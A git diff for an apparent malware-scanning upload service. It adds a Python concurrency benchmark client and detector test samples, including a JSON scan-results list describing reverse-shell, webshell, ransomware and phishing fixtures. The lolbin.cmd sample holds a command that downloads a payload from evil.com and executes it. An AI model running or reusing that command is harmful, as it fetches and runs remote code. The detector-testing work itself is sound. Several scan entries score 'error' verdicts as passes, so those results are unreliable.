not with_large_placeholder: + return [] + + pool = all_samples + if bucket != "mixed": + pool = [s for s in all_samples if s.size_bucket == bucket] + if not pool: + # 如果指定 bucket 没文件，fallback 到 mixed + pool = all_samples + + picked = random.choices(pool, k=count) + return list(picked) + + +def make_large_temp_file(size_bytes: int = 5 * 1024 * 1024) -> Tuple[tempfile.NamedTemporaryFile, str]: + """生成大文件（5MB），用于 large bucket 测试。""" + tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".bin") + tmp.write(os.urandom(size_bytes)) + tmp.flush() + return tmp, tmp.name + + +# --------------------------------------------------------------------------- +# 核心压测客户端 +# --------------------------------------------------------------------------- + +class BenchmarkClient: + def __init__( + self, + base_url: str, + username: str = "admin", + password: str = "admin123", + timeout: float = DEFAULT_TIMEOUT, + ) -> None: + self.base_url = base_url.rstrip("/") + self.username = username + self.password = password + self.timeout = timeout + self.cookies: httpx.Cookies = httpx.Cookies() + + async def login(self) -> None: + """登录 console，获取 session cookie。""" + async with httpx.AsyncClient(timeout=self.timeout, verify=False, follow_redirects=True) as c: + # 先 GET 登录页拿 csrf（如果有） + await c.get(f"{self.base_url}/console/login") + r = await c.post( + f"{self.base_url}/console/login", + data={"username": self.username, "password": self.password}, + headers={"Content-Type": "application/x-www-form-urlencoded"}, + ) + self.cookies = c.cookies + if r.status_code not in (200, 302): + raise RuntimeError(f"登录失败: HTTP {r.status_code}") + + async def upload_one( + self, + client: httpx.AsyncClient, + files: List[Tuple[str, bytes, str]], # [(filename, content_bytes, content_type), ...] + ) -> RequestResult: + """一次 upload 请求（可带多文件）。""" + idx = random.randint(0, 999999) + t0 = time.perf_counter() + file_handles = [] + try: + # 构造 files 参数 + upload_files = [("files", (name, content, ct)) for name, content, ct in files] + r = await client.post( + f"{self.base_url}/console/test/upload", + files=upload_files, + ) + t1 = time.perf_counter() + ok = r.status_code == 200 + error = None + files_count = len(files) + if ok: + try: + body = r.json() + if isinstance(body, dict): + results_list = body.get("results", []) + ok = all(it.get("verdict") not in ("error",) for it in results_list) + except Exception as exc: + ok = False + error = f"JSON decode error: {exc}" + else: + error = f"HTTP {r.status_code}" + avg_file_ms = int((t1 - t0) * 1000 / max(files_count, 1)) + return RequestResult( + idx=idx, + start_ts=t0, + end_ts=t1, + duration_ms=int((t1 - t0) * 1000), + status_code=r.status_code, + ok=ok, + error=error, + files_count=files_count, + avg_file_ms=avg_file_ms, + ) + except Exception as exc: # noqa: BLE001 + t1 = time.perf_counter() + return RequestResult( + idx=idx, + start_ts=t0, + end_ts=t1, + duration_ms=int((t1 - t0) * 1000), + status_code=0, + ok=False, + error=str(exc), + files_count=len(files), + ) + finally: + for fh in file_handles: + try: + fh.close() + except Exception: + pass + + async def run_scenario( + self, + name: str, + concurrent: int, + total_requests: int, + files_per_request: int, + size_bucket: str, + samples: List[SampleFile], + ) -> ScenarioResult: + """跑一个场景。 + + concurrent: 并发度（同时在飞的请求数上限） + total_requests: 总共发多少请求 + files_per_request: 每个请求带几个文件（1=单文件场景，>1=批量） + size_bucket: tiny/small/medium/large/mixed + samples: 样本池 + """ + result = ScenarioResult( + name=name, + concurrent=concurrent, + files_per_request=files_per_request, + size_bucket=size_bucket, + started_at=datetime.now().strftime("%Y-%m-%d %H:%M:%S"), + finished_at="", + total_duration_ms=0, + ) + + sem = asyncio.Semaphore(concurrent) + + async def _worker(idx: int, client: httpx.AsyncClient) -> RequestResult: + async with sem: + return await self._make_request(client, files_per_request, size_bucket, samples) + + connector = httpx.Limits(max_connections=concurrent * 2, max_keepalive_connections=concurrent) + async with httpx.AsyncClient( + timeout=self.timeout, + verify=False, + follow_redirects=True, + cookies=self.cookies, + limits=connector, + ) as client: + # 预热（不计入） + if WARMUP_COUNT > 0: + warmup_samples = pick_samples(samples, 1, size_bucket) + for _ in range(min(WARMUP_COUNT, total_requests)): + try: + warmup_files = [(s.name, s.path.read_bytes(), "application/octet-stream") for s in warmup_samples] + await self.upload_one(client, warmup_files) + except Exception: + pass + + # 正式跑 + t_start = time.perf_counter() + tasks = [asyncio.create_task(_worker(i, client)) for i in range(total_requests)] + for fut in asyncio.as_completed(tasks): + r = await fut + result.results.append(r) + t_end = time.perf_counter() + + result.total_duration_ms = int((t_end - t_start) * 1000) + result.finished_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + return result + + async def _make_request( + self, + client: httpx.AsyncClient, + files_per_request: int, + size_bucket: str, + samples: List[SampleFile], + ) -> RequestResult: + """构造一个请求的文件列表，处理大文件临时生成。""" + # 决定这个请求里每个文件的 bucket + if size_bucket == "mixed": + # 混合：随机挑 30% 小、50% 中、20% 大（大的现场生成） + pass + + picked = pick_samples(samples, files_per_request, size_bucket) + + upload_files: List[Tuple[str, bytes, str]] = [] + temp_files_to_clean: List[str] = [] + + for s in picked: + if size_bucket == "large" or (size_bucket == "mixed" and random.random() < 0.2 and s.size_bucket != "large"): + # 生成大文件 placeholder（用 .bin 模拟，如果没有 large bucket 样本） + tmp_path = None + large_candidates = [ps for ps in picked if ps.size_bucket == "large"] + if large_candidates: + real = random.choice(large_candidates) + upload_files.append((real.name, real.path.read_bytes(), "application/octet-stream")) + else: + tmp, tmp_path = make_large_temp_file(5 * 1024 * 1024) + upload_files.append((f"large_test_{tmp.name}.bin", Path(tmp.name).read_bytes(), "application/octet-stream")) + temp_files_to_clean.append(tmp.name) + tmp.close() + else: + upload_files.append((s.name, s.path.read_bytes(), "application/octet-stream")) + + try: + return await self.upload_one(client, upload_files) + finally: + for tf in temp_files_to_clean: + try: + os.unlink(tf) + except Exception: + pass + + +# --------------------------------------------------------------------------- +# 报告格式化 +# --------------------------------------------------------------------------- + +def print_report(scenarios: List[ScenarioResult], base_url: str, workers: int = 4) -> None: + """终端输出汇总报告。""" + print("\n" + "=" * 80) + print(" MeshSafe 并发压测报告") + print("=" * 80) + print(f" 目标: {base_url}") + print(f" 时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + print(f" uvicorn: --workers {workers}") + print(f" DB pool: pool_size=20, max_overflow=30 (总上限 50)") + print(f" 预热: {WARMUP_COUNT} 次不计入") + print("-" * 80) + + for sc in scenarios: + print(f"\n【{sc.name}】") + print(f" 并发数: {sc.concurrent}") + print(f" 请求文件数: {sc.files_per_request} 个/请求") + print(f" 文件大小档: {sc.size_bucket}") + print(f" 总请求数: {sc.total_requests}") + print(f" 总文件数: {sc.total_files}") + print(f" 总耗时: {sc.total_duration_ms} ms ({sc.total_duration_ms/1000:.2f}s)") + print(f" QPS: {sc.qps:.2f} req/s") + print(f" 文件吞吐: {sc.files_per_sec:.2f} files/s") + print(f" 单请求耗时:") + print(f" 平均: {sc.avg_ms:.0f} ms") + print(f" P50: {sc.p50_ms:.0f} ms") + print(f" P95: {sc.p95_ms:.0f} ms") + print(f" P99: {sc.p99_ms:.0f} ms") + print(f" 错误率: {sc.error_rate*100:.1f}%") + if sc.slowest: + slowest_msg = sc.slowest.error or "ok" + print(f" 最慢请求: {sc.slowest.duration_ms} ms ({slowest_msg[:60]})") + + # 瓶颈分析 + print("\n" + "-" * 80) + print("【瓶颈分析】") + _analyze(scenarios) + + print("\n" + "=" * 80) + + +def _analyze(scenarios: List[ScenarioResult]) -> None: + if not scenarios: + return + for sc in scenarios: + if sc.concurrent == 1 and sc.files_per_request == 1 and sc.size_bucket in ("mixed", "medium"): + baseline = sc.avg_ms + print(f" 基准单文件串行: {baseline:.0f} ms") + + # 并发场景看扩展效率 + for sc in scenarios: + if sc.concurrent > 1 and sc.files_per_request == 1: + print(f" {sc.concurrent} 并发单文件:") + if sc.avg_ms < 300: + print(f" ✅ 响应快（avg={sc.avg_ms:.0f}ms）") + elif sc.avg_ms < 800: + print(f" ⚠️ 中等（avg={sc.avg_ms:.0f}ms）") + else: + print(f" 🔴 较慢（avg={sc.avg_ms:.0f}ms）—— 可能 uvicorn worker 不够或 DB pool 满") + + if sc.error_rate > 0: + print(f" 🔴 错误率 {sc.error_rate*100:.1f}% —— 检查 DB 连接池 / ClamAV / YARA") + + if sc.files_per_request > 1: + per_file = sc.avg_ms / sc.files_per_request + print(f" 批量 {sc.files_per_request} 文件·单用户:") + print(f" 总耗时 ≈ {sc.avg_ms:.0f}ms 单文件均摊 ≈ {per_file:.0f}ms") + if per_file > 300: + print(f" ⚠️ 批量内部 for 循环串行，单文件均摊偏高—— 可考虑 ThreadPoolExecutor 并行化") + else: + print(f" ✅ 批量表现正常") + + +def to_json_report(scenarios: List[ScenarioResult], base_url: str) -> dict: + return { + "generated_at": datetime.now().isoformat(), + "base_url": base_url, + "uvicorn_workers": 4, + "db_pool": {"pool_size": 20, "max_overflow": 30}, + "scenarios": [ + { + "name": sc.name, + "concurrent": sc.concurrent, + "files_per_request": sc.files_per_request, + "size_bucket": sc.size_bucket, + "started_at": sc.started_at, + "finished_at": sc.finished_at, + "total_duration_ms": sc.total_duration_ms, + "total_requests": sc.total_requests, + "total_files": sc.total_files, + "qps": round(sc.qps, 2), + "files_per_sec": round(sc.files_per_sec, 2), + "latency_ms": { + "avg": round(sc.avg_ms, 1), + "p50": round(sc.p50_ms, 1), + "p95": round(sc.p95_ms, 1), + "p99": round(sc.p99_ms, 1), + }, + "error_rate": round(sc.error_rate, 4), + "slowest_ms": sc.slowest.duration_ms if sc.slowest else None, + } + for sc in scenarios + ], + } + + +# --------------------------------------------------------------------------- +# 主入口 +# --------------------------------------------------------------------------- + +async def _main() -> None: + parser = argparse.ArgumentParser(description="MeshSafe 并发压测") + parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="MeshSafe 基地址") + parser.add_argument("--username", default="admin") + parser.add_argument("--password", default="admin123") + parser.add_argument( + "--concurrent", + nargs="+", + type=int, + default=[50, 100], + help="并发度档位（可多值）", + ) + parser.add_argument( + "--batch-sizes", + nargs="+", + type=int, + default=[10, 50], + help="批量上传文件数（单用户·多文件场景）", + ) + parser.add_argument( + "--requests-per-batch", + type=int, + default=5, + help="批量场景下发几个请求（每个请求带 N 文件）", + ) + parser.add_argument( + "--requests-per-concurrent", + type=int, + default=2, + help="并发场景下每个并发度发几个请求", + ) + parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT) + parser.add_argument("--report", default=None, help="JSON 报告输出路径") + args = parser.parse_args() + + # 1. 加载样本 + all_samples = load_samples() + if not all_samples: + print(f"❌ tests/samples/ 下没找到样本文件") + sys.exit(1) + sizes = sorted([(s.size, s.size_bucket) for s in all_samples], reverse=True) + print(f"📦 样本池: {len(all_samples)} 个文件") + for bucket in ("tiny", "small", "medium", "large"): + count = sum(1 for _, b in sizes if b == bucket) + if count: + print(f" {bucket:7s}: {count} 个") + + # 2. 登录 + print(f"\n🔐 登录 {args.base_url} ...") + client = BenchmarkClient(base_url=args.base_url, username=args.username, password=args.password, timeout=args.timeout) + await client.login() + print(" ✅ 登录成功") + + # 3. 跑场景 + scenarios: List[ScenarioResult] = [] + + # 场景 A：基准串行（1 并发） + print("\n" + "=" * 80) + print("【场景 A】基准串行·单文件·混合大小") + print("=" * 80) + sc_a = await client.run_scenario( + name="A1. 基准串行·单文件", + concurrent=1, + total_requests=20, + files_per_request=1, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc_a) + + # 场景 B：多用户并发·单文件 + for conc in args.concurrent: + print(f"\n{'='*80}") + print(f"【场景 B】{conc} 并发·单文件·混合大小") + print("=" * 80) + sc = await client.run_scenario( + name=f"B.{conc}·并发单文件·混合", + concurrent=conc, + total_requests=conc * args.requests_per_concurrent, + files_per_request=1, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc) + + # 场景 C：单用户·批量多文件 + for batch_n in args.batch_sizes: + print(f"\n{'='*80}") + print(f"【场景 C】单用户·{batch_n} 文件批量上传") + print("=" * 80) + sc = await client.run_scenario( + name=f"C.{batch_n}·单用户批量", + concurrent=1, + total_requests=args.requests_per_batch, + files_per_request=batch_n, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc) + + # 场景 D：多用户并发·批量 + conc_mix = max(10, min(args.concurrent[0] // 5, 20)) + batch_mix = 10 + print(f"\n{'='*80}") + print(f"【场景 D】{conc_mix} 并发·{batch_mix} 文件/请求（最坏情况）") + print("=" * 80) + sc_d = await client.run_scenario( + name=f"D.{conc_mix}并发×{batch_mix}文件", + concurrent=conc_mix, + total_requests=conc_mix, + files_per_request=batch_mix, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc_d) + + # 4. 输出报告 + print_report(scenarios, args.base_url) + + # 5. JSON 报告 + if args.report: + report = to_json_report(scenarios, args.base_url) + Path(args.report).parent.mkdir(parents=True, exist_ok=True) + Path(args.report).write_text(json.dumps(report, indent=2, ensure_ascii=False), encoding="utf-8") + print(f"\n📄 JSON 报告已保存: {args.report}") + + +if __name__ == "__main__": + asyncio.run(_main()) diff --git a/tests/samples/_scan_results.json b/tests/samples/_scan_results.json new file mode 100644 index 0000000..76ec249 --- /dev/null +++ b/tests/samples/_scan_results.json @@ -0,0 +1,650 @@ +[ + { + "filename": "evil_help.chm", + "category": "CHM帮助", + "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "ChmWithScript" + ], + "actual_rules": [ + "ChmWithScript", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "evil.iso", + "category": "ISO镜像", + "description": "ISO 镜像内嵌 ELF 可执行文件", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "IsoWithExecutable" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "shortcut.lnk", + "category": "LNK", + "description": "LNK Shell Link 指向 cmd.exe /c 下载执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "LnkWithAutoExec" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "lolbin.cmd", + "category": "LOLBin", + "description": "certutil -decode LOLBin 下载执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C1_PE_LOLBin_Usage" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "linux_malicious", + "category": "Linux可执行", + "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "LinuxExecutable" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "LinuxExecutable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "malicious.desktop", + "category": "Linux后门", + "description": ".desktop 文件恶意 Exec 字段", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "DesktopFileAutoExec" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "C7_Linux_ReverseShell_Misc", + "DangerousExecutableExtension", + "DesktopFileAutoExec" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 5 + }, + { + "filename": "shell_bash_devtcp.sh", + "category": "Linux后门", + "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "C7_Linux_ReverseShell_Bash", + "ShellScriptDangerous" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "DangerousExecutableExtension", + "ShellScriptDangerous" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "shell_nc.sh", + "category": "Linux后门", + "description": "nc -e /bin/bash 反弹 Shell", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "C7_Linux_ReverseShell_NC", + "ShellScriptDangerous" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_NC", + "DangerousExecutableExtension", + "ShellScriptDangerous" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "shell_python.py", + "category": "Linux后门", + "description": "Python pty + socket 反弹 Shell", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C7_Linux_ReverseShell_Python", + "ShellScriptDangerous" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "ole_dropper.doc", + "category": "OLE嵌入", + "description": "DOC 文件内嵌 .exe OLE 对象（OLE2 CFB + .exe stream）", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "EmbeddedExecutable" + ], + "actual_rules": [ + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "macro_alert.docm", + "category": "Office宏", + "description": "DOCM（OOXML格式）内嵌 word/vbaProject.bin + AutoOpen Shell", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "VBAAutoExec", + "VBAAutoExecShell" + ], + "actual_rules": [ + "ArchiveContainsExecutable", + "ExtensionMismatch", + "OleToolsUnavailable", + "VBAAutoExecShell" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 4 + }, + { + "filename": "template_backdoor.docx", + "category": "Office宏", + "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "AttachedTemplate" + ], + "actual_rules": [ + "AttachedTemplate", + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "vba_autoexec.bas", + "category": "Office宏", + "description": "VBA AutoOpen + Shell 执行", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "VBAAutoExec" + ], + "actual_rules": [ + "VBAAutoExecShell" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "malicious.pdf", + "category": "PDF载荷", + "description": "PDF /OpenAction /JS app.launchURL 自动执行", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "PdfJavaScript", + "PdfOpenAction" + ], + "actual_rules": [ + "OleToolsUnavailable", + "PdfJavaScript", + "PdfOpenAction" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "pe_downloader.exe", + "category": "PE恶意程序", + "description": "PE 下载器：URLDownloadToFile + RegSetValue + CreateService", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C1_PE_Downloader_Loader" + ], + "actual_rules": [ + "C1_PE_Downloader_Loader", + "DangerousExecutableExtension", + "PeParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "pe_injection.exe", + "category": "PE恶意程序", + "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C1_PE_ProcessInjection" + ], + "actual_rules": [ + "C1_PE_ProcessInjection", + "DangerousExecutableExtension", + "PeParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "wps_macro.js", + "category": "WPS宏", + "description": "WPS Linux JS 宏 AutoOpen + /bin/sh", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "VBAAutoExecShell" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "C7_Linux_ReverseShell_Misc", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "shell_aspx.aspx", + "category": "Webshell", + "description": "ASP.NET Process.Start 命令执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_Webshell_ASPNET" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "shell_jsp_runtime.jsp", + "category": "Webshell", + "description": "JSP Runtime.getRuntime().exec 命令执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_JSP_Webshell_RuntimeExec" + ], + "actual_rules": [ + "C3_JSP_Webshell_RuntimeExec", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "shell_php_eval.php", + "category": "Webshell", + "description": "PHP oneliner eval + echo 组合", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_PHP_Webshell_Oneliner" + ], + "actual_rules": [ + "C3_PHP_Webshell_Oneliner", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "shell_php_obf.php", + "category": "Webshell", + "description": "PHP base64 + assert 混淆", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_PHP_Webshell_Obfuscated" + ], + "actual_rules": [ + "C3_PHP_Webshell_Obfuscated", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "photo.jpg.php", + "category": "伪装", + "description": "双扩展名伪装 .jpg.php", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "DoubleExtension" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "sealed.docx", + "category": "加密Office", + "description": "加密 DOCX（密码 changeme，msoffcrypto 加密）", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "OfficeEncrypted" + ], + "actual_rules": [ + "ArchiveBroken", + "MalformedStructure", + "OfficeEncrypted", + "OleToolsUnavailable", + "OoxmlParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 5 + }, + { + "filename": "sealed.xlsx", + "category": "加密Office", + "description": "加密 XLSX（密码 changeme，msoffcrypto 加密）", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "OfficeEncrypted" + ], + "actual_rules": [ + "ArchiveBroken", + "ExtensionMismatch", + "MalformedStructure", + "OfficeEncrypted", + "OleToolsUnavailable", + "OoxmlParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 6 + }, + { + "filename": "ransom_dropper.exe.txt", + "category": "勒索", + "description": "加密 API + 卷影删除 + 勒索信文件名", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C8_Ransomware_Encryption" + ], + "actual_rules": [ + "C8_Ransomware_Encryption", + "C8_Ransomware_Note_Filename", + "C8_Ransomware_VolumeShadow", + "DoubleExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 4 + }, + { + "filename": "persist_cron.sh", + "category": "持久化", + "description": "crontab 注入 wget/curl 下载执行", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "C7_Linux_Persistence_Crontab" + ], + "actual_rules": [ + "C7_Linux_Persistence_Crontab", + "DangerousExecutableExtension", + "ShellScriptDangerous" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 4 + }, + { + "filename": "miner_config.json", + "category": "挖矿", + "description": "XMRig stratum+tcp 矿池配置", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C7_Linux_Miner_Generic" + ], + "actual_rules": [ + "C7_Linux_Miner_Generic" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "zip_traversal.zip", + "category": "攻击载体", + "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "PathTraversal" + ], + "actual_rules": [ + "PathTraversal", + "PathTraversalBlocked" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "broken.zip", + "category": "畸形文件", + "description": "CRC 损坏的 ZIP → 畸形文件启发式", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 0 + }, + { + "filename": "phishing.eml", + "category": "钓鱼邮件", + "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "EmailAttachmentDangerous", + "EmailAttachmentDisguised", + "EmailAttachmentWebshell", + "EmailPhishingKeyword" + ], + "actual_rules": [ + "EmailAttachmentDangerous", + "EmailAttachmentDisguised", + "EmailAttachmentWebshell", + "EmailPhishingKeyword" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 10 + }, + { + "filename": "normal.pdf", + "category": "阴性对照", + "description": "正常 PDF（只有简单文本，无 JS/自动执行）", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [ + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "normal_deploy.sh", + "category": "阴性对照", + "description": "正常部署 Shell（没有 curl|bash 管道执行或反弹 Shell）", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "normal_readme.txt", + "category": "阴性对照", + "description": "正常纯文本文件", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 0 + }, + { + "filename": "normal_report.docx", + "category": "阴性对照", + "description": "正常 Word 文档（无宏、无外链）", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [ + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + } +] \ No newline at end of file diff --git a/tests/samples/broken.zip b/tests/samples/broken.zip new file mode 100644 index 0000000000000000000000000000000000000000..f8fc25307bd744f2ca5f2f1a4a6323b3358f8d57 GIT binary patch literal 125 zcmWIWW@Zs#00FYwA zz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEj zFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r O3>YwAz<`15bx$6IrvV!P literal 0 HcmV?d00001 diff --git a/tests/samples/evil_help.chm b/tests/samples/evil_help.chm new file mode 100644 index 0000000000000000000000000000000000000000..cc469a2deeb1882ec2ef3899f6ff56981041503f GIT binary patch literal 1691 zcmeHG(MrQG6czPDE)mxGVDmn+fQsS-5$xC$_L8O7wIfYKnzq~DTNBF^g*}VQOD^Y} z+?;ztCe!5Z_~>(;_Qhd8BydRJKO`{e{{P9ILC=!cWP1C!NA-7TmbpT4mZ3;FbGcK< z?@<{>L(OPlmSwu-tdcf24wTTVTC8wPX4i>_2v0Ip3WzMy7&i!1f~>8A%sDfn6q{Vd zvMgw7OJmS_%|!_}qs2VeY1vkbDHdiSJTVyjP7p?egP%^KhhQY)jj*tRF=%YzO1iwk zm#5_#r5i@`a60y0qw`DH#Lu-JMp7slT$@&R`0g43nZ>s;@&3EH2=BaVRf-gPh*7~= muQOu%LB`FpBHY#*z5w5ZeGcnR*Y%aPL)c+nN<-$JfjWMserxRMf!GZb_)73|a$^ixvH^h=Tp^bHO4K+sg*1PBxi?9>do05y0D A-T(jq literal 0 HcmV?d00001 diff --git a/tests/samples/lolbin.cmd b/tests/samples/lolbin.cmd new file mode 100644 index 0000000..0d72f7d --- /dev/null +++ b/tests/samples/lolbin.cmd @@ -0,0 +1,2 @@ +@echo off +certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe diff --git a/tests/samples/macro_alert.docm b/tests/samples/macro_alert.docm new file mode 100644 index 0000000000000000000000000000000000000000..5b5cd54e0198ca89760ba9a6d598bd78e57a6070 GIT binary patch literal 2586 zcmeHJ&ubGw6i$DM##6Bue;lTBC@Ceotp}0Vq-a{96q?XhE4HOhb|>xX?#?nZX;Se} z1VK>f$wNT}6?(JaMS94=|3Lo)MPtE>c=PC+-K0s@q%EEV-7t^c%)IZt`M#Mqlb!17 z?u)1=^JHNueo0>W2Jfo%LMt+E>LxP^4t1qga_rGDFldc(VKFy}N3>y#sB19Oa#xc0 z+T7LnMT~?bu1Rd>(j;D|0*|Glqs2rG1_6RA62&B5mC{S-x-eF$LxjdW>Ox*t4uFX#@jT``Eh0E zdFA0&Wp}%>v-x@B{;00TC=0{Ef+tuXC#v3RS*Eg0#N7LF^X0RSNJO<$K+Hm#xe_>8 